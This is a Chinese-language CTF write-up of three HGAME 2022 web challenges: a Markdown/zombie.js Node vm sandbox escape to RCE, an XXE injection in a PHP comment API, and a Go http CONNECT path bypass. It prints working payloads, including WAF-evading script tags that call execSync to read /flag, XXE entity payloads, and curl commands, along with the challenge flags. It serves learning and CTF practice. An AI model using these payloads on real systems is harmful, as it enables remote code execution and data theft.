hgame第四周-web

1.Markdown Online

考点:markdown xss,nodejs vm逃逸,JavaScript语言特性

参考:[HGAME 2022 WEB | Y0ng的博客 (yongsheng.site)](http://www.yongsheng.site/2022/02/17/HGAME 2022 WEB/#more)

以及官方wp和github的payload:

Markdown-XSS-Payloads/Markdown-XSS-Payloads.txt at master · cujanovic/Markdown-XSS-Payloads · GitHub

QQ图片20220219153612

与登陆相关的代码在 controllers.js:LoginController 里

先看导入了什么,markdown-itzombie

Zombie存在一个沙箱逃逸的rce漏洞,找到了出题人之前写过的一篇文章Nodejs Zoombie Package RCE 分析 | Summ3r’s personal blog

QQ图片20220219145758

再看关键:密码转换为大写后要与54g相等,这是不可能的

QQ图片20220219145435

问题出在 try catch 语句,catch 块没有写return 语句,导致try中的代码抛出错误后继续往下执行,这也是实际开发中很容易犯的一个错误。
所以接下来要做的就是让第 15 行代码报错,对 req.body.password.toUpperCase() 正确的解读方式是:获取 req.body.password对象的 toUpperCase属性,然后把这个属性当作函数来调用。如果这个属性不是函数对象就会抛出错误,比如:

QQ图片20220219150448

登录处只要让 toUpperCase 抛出异常就可以登陆成功,让password为数组即可使其长度为16绕过

{"username":"admin","password":["1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1"]}

或者

{"username":"admin","passowrd":{"length": 16}}

接下来就是 markdown 预览功能了,markdown 解析用的是 markdown-it 库,并且开启了对 html 标签的支持:

QQ图片20220219162846

也就是说 markdown 源码里的 html 标签会被保留而不是被转义。 比如

# header 1
<h2>header 2</h2>

将被解析为

<h1>header 1</h1>
<h2>header 2</h2>

在 SubmitController 里,markdown-it 解析出来的 html 代码会被 zombie.js 加载,zobmie.js 在遇到 JavaScript 代码的时候会将其交给 vm 虚拟机执行

QQ图片20220219163030

官方文档上有一句警告: The vm module is not a security mechanism. Do not use it to run untrusted code.。实际上 vm 模块可以逃逸, JavaScript 对象的继承是靠原型链实现的,借助原型链可访问到 vm 沙箱以外的内容,实现 RCE。

QQ图片20220219163145

所以解题思路就是利用 markdown-it 不转义 html 标签的条件,构造一个恶意的 script 标签,利用其中的代码来逃逸 vm 沙箱并实现 RCE 。
网上很容易找到 vm 逃逸相关的 payload:

this.__proto__.constructor.constructor('return process')().mainModule.require('child_process').execSync('calc')

不过得 bypass 一下 waf
利用 JavaScript 的语言特性, obj.contructor 可以变为 obj[“contr”+“uctor”]的形式, + 也被 ban 了,可以用concat拼接字符串的形式: obj[“constru”.concat(“ctor”)]
this 和 process 可以用 eval(“th”+“is”) 的形式绕过。
由于没有 ban 掉 eval,其实绕过 waf 的方法很多,可以将要执行的代码base64编码,或者
String.fromCharCode 来构造

Flag:hgame{3nj0y*Th3/pR0tOtype/pOllut10n!1n_j@v4scr1pt}

Y0ng博客的做法:

d2fa4389a9b445df9018554a2a25d2bc

接着审计提交的控制器

3129c99ebe7a4c7aadbc3b615f8c883b

先将传入的代码进行md渲染编程html,接着利用Browser中的load进行操作

83294ba23687463095dd83f0c1482d1a

load又调用了this.tabs.open({ html: html }) 其实这里的 open 就是漏洞的入口

a87d55d81699455498438500ee44d1c2

剩下分析移步Nodejs Zoombie Package RCE 分析 | Summ3r’s personal blog

祥云杯是通过visit为入口,这道题是以load为入口,那整体就是,将传入的代码在提交之后渲染为html,然后放入沙箱中运行,让其逃逸即可,这里还需要markdown的语法

8b68affbe67541449948ff012d5c2b9b

发现在 vm 模块运行js代码,代码运行的上下文是 window对象

eb178b651c8c4f4ba68c8eff47f64201

但是这里存在一个waf

function waf(code) {
    const blacklist = /__proto__|prototype|\+|atlert|confirm|escape|parseInt|parseFloat|prompt|isNaN|new|this|process|constructor|atob|btoa|apk/i
    if (code.match(blacklist)) {
        return "# Hacker!"
    } else {
        return code
    }
}

过滤了关键词,给出两种 绕过,当我想要以相同方式 绕过this时,发现对于this不适用,然后找到了这篇文章

nodejs沙箱与黑魔法 - 先知社区 (aliyun.com)

尝试调用 window 的方法 然后调用 constructor 向上 返回的一个 Function constructor 然后 利用Function对象构造一个函数并执行

Payload:

<script>
var a='const';var b='ructor';var c=[a,b].join('');
var d='return p';var e='rocess';var f=[d,e].join('');
var h='child_p';var i=[h,e].join('');
var j='th';var k='is';var l=[j,k].join('');
x= clearImmediate [c][c][c][c](f)();y=x.mainModule.require(i);z=y.execSync('whoami').toString();document.write(z);
</script>

或者

<script>
var h='child_p';var e='rocess';var i=[h,e].join('');
x=clearImmediate[`${`${`constructo`}r`}`][`${`${`constructo`}r`}`][`${`${`constructo`}r`}`]([`${`${`return proces`}s`}`])();y=x.mainModule.require(i);z=y.execSync('cat /flag').toString();document.write(z);
</script>
6cb270c147964b539322a1ddeeffcc19

后续测试,构造一个constructor即可,成功的window方法:

btoa、cancelAnimationFrame、captureEvents、clearImmediate,print等等可以自行寻找

window方法:clearImmediate()_w3cschool

相关文章:
Markdown xss payload
Markdown-XSS-Payloads.txt

nodejs 沙盒逃逸
Node.js沙盒逃逸分析
nodejs-vm沙箱逃逸
NodeJs 沙盒逃逸分析及原型链的简单学习

nodejs编码:
Nodejs的一些技巧
nodejs代码执行绕过的一些技巧汇总

vm2逃逸payload项目
https://github.com/patriksimek/vm2

2.Comment

考点:XXE 注入, data:// 协议

由于不是很了解xxe,暂时先通过官方wp+参考博客的方式复现

QQ图片20220219160111

给了 api.php 的源码,在提交评论时数据是以 XML 格式传输的,在 api.php 开头可以看到 libxml 开启了 XML 的外部实体解析,存在 XXE 注入的问题。

QQ图片20220219160435

libxml_disable_entity_loader(false); 允许外部实体,waf了一些关键字

返回flag的逻辑就是sender需要为admin,但是post数据包里不能有admin关键字(admin 不出现在XML数据里)

QQ图片20220219160919

本想在content通过一百万个字符绕过preg_match,然后发现题目环境不可以,那就进行外部实体拼接绕过
payload:

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe "ad" >
<!ENTITY xxe2 "min" >]>
<comment><sender>&xxe;&xxe2;</sender><content>123</content></comment>

官方payload:可以用 data:// 伪协议将 sender 给 base64 编码,在libxml解析的时候会自动解码。

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "data://text/plain;base64,YWRtaW4=" >]>
<comment><sender>&xxe;</sender><content>111</content></comment>

Flag:hgame{Pr3ud0prOtQc4l*m33ts_Xx3-!nj3cti0n!}

比较简洁的一个博客解释:

代码中允许引入外部实体,libxml_disable_entity_loader(false);

协议过滤的比较死,但是能通过compress.zlib://这个协议拿到/etc/passwd这种,但是还是拿不到源码,因为源码里有php。

于是利用data协议的输入流,将输入流base64,将外部实体导入到<sender>当中,绕过waf。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "data://text/plain;base64,YWRtaW4=" >]>
<comment><sender>&xxe;</sender><content></content>sb</comment>

pil1ow师傅的做法非预期了,用html实体编码绕,不用引入外部实体。

<comment><sender>&#97;&#100;&#109;&#105;&#110;</sender><content>sb</content></comment>

好文章

XXE - XEE - XML External Entity - HackTricks

3.FileSystem

考点:Go官方http库特性、http标准

d5813c0c6b5c498c83a59bbd487c628e

main.go

package main

import (
	"log"
	"net/http"
)

func fileHandler(w http.ResponseWriter, r *http.Request) {
	http.FileServer(http.Dir("./")).ServeHTTP(w, r)
}

func main() {
	http.HandleFunc("/", fileHandler)
	http.HandleFunc("/there_may_be_a_flag", func(w http.ResponseWriter, r *http.Request) {
		w.Write([]byte(`No! You can't see the flag!`))
	})
	log.Fatal(http.ListenAndServe(":8889", nil))
}

there_may_be_a_flag 就是flag的地方,加上了web服务的flag路由,从而使得我们没法通过直接访问/flag来获取文件。而是得到/flag路由的回显。也就是 No! You can’t see the flag!

本题利用点是

  1. CONNECT 方法不执行路径规范化
  2. 官方的http库在注册路由的时候并没有指定http请求类型,使得在注册路由时相当于把一个路由的所有方法都一起注册掉了。

下图中可以看出在遇到 CONNECT 请求的时候,并没有进行路径的清洗操作,而是直接 handle 了,使得使用"//there_may_be_a_flag"或者"/…/there_may_be_a_flag"即可绕过专门注册的路由的限制。

QQ图片20220219154220

而http.FileServer()函数内部会对路径再次进行清洗。

QQ图片20220219154432

使得我们可以绕开限制获得"/there_may_be_a_flag"

这道题,将 nginx 作为反向代理,而"/…/"这种请求会直接被 nginx 拦掉,所以本题的预期解是:

curl -X CONNECT --path-as-is http://filesystem.hgame.homeboyc.cn//there_may_be_a_flag

参考上面的博客:

从这里开始:there_may_be_a_flag 就是flag的地方,加上了web服务的flag路由,从而使得我们没法通过直接访问/flag来获取文件。而是得到/flag路由的回显。也就是 No! You can’t see the flag!

审计完再结合题目觉得应该是 http.FileServer(http.Dir(“./“)).ServeHTTP(w, r),出了问题,应该是存在漏洞导致可以跨目录读取到flag,搜索了一下,找到了go的一些安全问题

golang的一些安全问题 - byc_404’s blog (bycsec.top)

随后发现了漏洞的出处 justCTF [*] 2020:Go-fs,出题人在github提交了issue,

net/http: FileServer incorrectly parses Range header when a range starts with two minus signs · Issue #40940 · golang/go · GitHub

非预期payload

curl -X CONNECT --path-as-is http://3445d0f8a3.filesystem.hgame.homeboyc.cn/123/../there_may_be_a_flag

非预期的原理:
如果是 CONNECT 方式请求,就 不会处理url中的特殊字符,导致直接读取flag.其他的请求方法都会在cleanPath中被处理url,golang1.16似乎已经处理了。

QQ图片20220219154743

Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐